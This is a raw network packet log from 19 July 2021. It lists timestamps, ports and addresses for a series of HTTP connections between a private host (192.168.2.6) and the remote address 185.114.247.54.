Jul 19, 2021 18:36:16.193682909 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.193872929 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.193909883 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.194036961 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.194061041 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.194159985 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.194216013 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.194647074 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.194770098 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.195108891 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.195249081 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.195352077 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.195472002 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.201030016 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.201050043 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.201227903 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.229721069 CEST	49901	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.230973005 CEST	49903	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.291451931 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.291618109 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.291656017 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.314074039 CEST	80	49901	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.314224005 CEST	49901	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.315310001 CEST	80	49903	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.315464020 CEST	49903	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.316184044 CEST	49903	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.373891115 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.374033928 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.374056101 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.374073029 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.374088049 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.374653101 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.399390936 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.399559975 CEST	80	49903	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.399612904 CEST	80	49903	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.400043011 CEST	49903	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.481482983 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.481698036 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.482297897 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.482458115 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.482768059 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.482990026 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.510598898 CEST	49903	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.512121916 CEST	49905	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.564166069 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.564213991 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.564400911 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.564426899 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.564603090 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.564685106 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.565006018 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.565148115 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.565438032 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.565527916 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.565602064 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.565797091 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.565819025 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.565922022 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.566138029 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.566231966 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.566771030 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.566850901 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.566879034 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.566947937 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.567147970 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.567229986 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.567243099 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.567295074 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.591329098 CEST	80	49905	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.591494083 CEST	49905	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.592422009 CEST	49905	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.596765041 CEST	80	49903	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.596956015 CEST	49903	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.646157980 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.646190882 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.646298885 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.646316051 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.646368980 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.649471045 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.649682999 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.671557903 CEST	80	49905	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.671713114 CEST	80	49905	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.671845913 CEST	49905	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.727751970 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.727866888 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.772831917 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.772957087 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.776277065 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.776657104 CEST	49905	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.778250933 CEST	49906	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.809190035 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.809221983 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.809237003 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.809252024 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.809262991 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.854304075 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.854331017 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.854340076 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.854351997 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.854360104 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.854372978 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.854381084 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.855211973 CEST	80	49905	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.855349064 CEST	49905	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.859102011 CEST	80	49904	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.859252930 CEST	49904	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.875821114 CEST	80	49906	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.875988960 CEST	49906	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.877032042 CEST	49906	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.940320015 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.974689007 CEST	80	49906	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.974716902 CEST	80	49906	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.974889994 CEST	49906	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.019490957 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.019674063 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.020853996 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.021198988 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.021596909 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.021847010 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.089833975 CEST	49906	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.092462063 CEST	49908	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.100003004 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.100106955 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.100434065 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.100450993 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.100580931 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.100821972 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.100944042 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.101135969 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.101154089 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.101253033 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.101336002 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.101437092 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.101509094 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.101603031 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.101686001 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.101788044 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.101849079 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.101960897 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.102644920 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.102766037 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.103215933 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.103322029 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.178704023 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.178734064 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.178749084 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.178817987 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.178864956 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.179765940 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.179832935 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.179919004 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.179970980 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.180881023 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.180979967 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.181190968 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.181282997 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.187268019 CEST	80	49906	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.187345982 CEST	49906	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.190669060 CEST	80	49908	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.190774918 CEST	49908	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.191904068 CEST	49908	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.221441984 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.221566916 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.257519960 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.258004904 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.258016109 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.258034945 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.258047104 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.258186102 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.258342028 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.258457899 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.258831978 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.258990049 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.259162903 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.259355068 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.259372950 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.289794922 CEST	80	49908	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.299582958 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.299614906 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.303258896 CEST	80	49908	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.303371906 CEST	49908	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.336369038 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.336395025 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.336406946 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.336419106 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.336433887 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.336447954 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.420584917 CEST	49908	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.420871973 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.421885014 CEST	49909	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.455971956 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.517369032 CEST	80	49909	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.517498970 CEST	49909	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.518181086 CEST	49909	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.518264055 CEST	80	49908	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.518331051 CEST	49908	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.527723074 CEST	80	49907	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.527825117 CEST	49907	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.540271044 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.540591002 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.541516066 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.541528940 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.541733027 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.542171955 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.610884905 CEST	80	49909	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.610918999 CEST	80	49909	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.610981941 CEST	49909	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.624933004 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.625049114 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.625197887 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.625567913 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.625621080 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.625649929 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.625705004 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.625931025 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.625979900 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.625993967 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.626084089 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.626605988 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.626658916 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.626674891 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.627135992 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.627492905 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.627830982 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.627872944 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.627907991 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.627944946 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.628192902 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.709920883 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.709953070 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.709969997 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.710036039 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.710067987 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.710452080 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.711047888 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.713596106 CEST	49909	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.715023041 CEST	49911	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.754265070 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.754410982 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.794538975 CEST	80	49911	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.795134068 CEST	49911	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.795788050 CEST	49911	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.834341049 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.834990978 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.842360973 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.842483044 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.842581034 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.842829943 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.847402096 CEST	80	49909	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.872128963 CEST	80	49909	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.872237921 CEST	49909	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.876250029 CEST	80	49911	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.877331018 CEST	80	49911	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.877439976 CEST	49911	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.920566082 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.926940918 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.926966906 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.927558899 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.927584887 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.937138081 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:17.937252045 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.980719090 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.980889082 CEST	49911	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:17.982486010 CEST	49912	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.060000896 CEST	80	49911	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.060122967 CEST	49911	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.063662052 CEST	80	49910	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.066041946 CEST	49910	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.079802036 CEST	80	49912	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.082257986 CEST	49912	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.082923889 CEST	49912	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.169018984 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.180041075 CEST	80	49912	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.191709995 CEST	80	49912	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.193847895 CEST	49912	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.251777887 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.253657103 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.254328966 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.254590034 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.254822969 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.254923105 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.308099985 CEST	49912	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.309773922 CEST	49914	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.336877108 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.337352991 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.337671995 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.338113070 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.338320017 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.338742971 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.338825941 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.339226007 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.339354992 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.339459896 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.339520931 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.339715004 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.339755058 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.339941978 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.340008020 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.340203047 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.340282917 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.340730906 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.340790033 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.404941082 CEST	80	49914	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.405093908 CEST	49914	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.405796051 CEST	49914	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.413650990 CEST	80	49912	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.413754940 CEST	49912	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.420641899 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.420664072 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.420768023 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.421263933 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.421282053 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.421364069 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.422944069 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.423325062 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.423485994 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.502355099 CEST	80	49914	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.503654957 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.503684044 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.503833055 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.503962040 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.507332087 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.514293909 CEST	80	49914	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.514494896 CEST	49914	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.587266922 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.587301016 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.587315083 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.587495089 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.587614059 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.616753101 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.617175102 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.621153116 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.622068882 CEST	49914	80	192.168.2.6	185.114.247.54
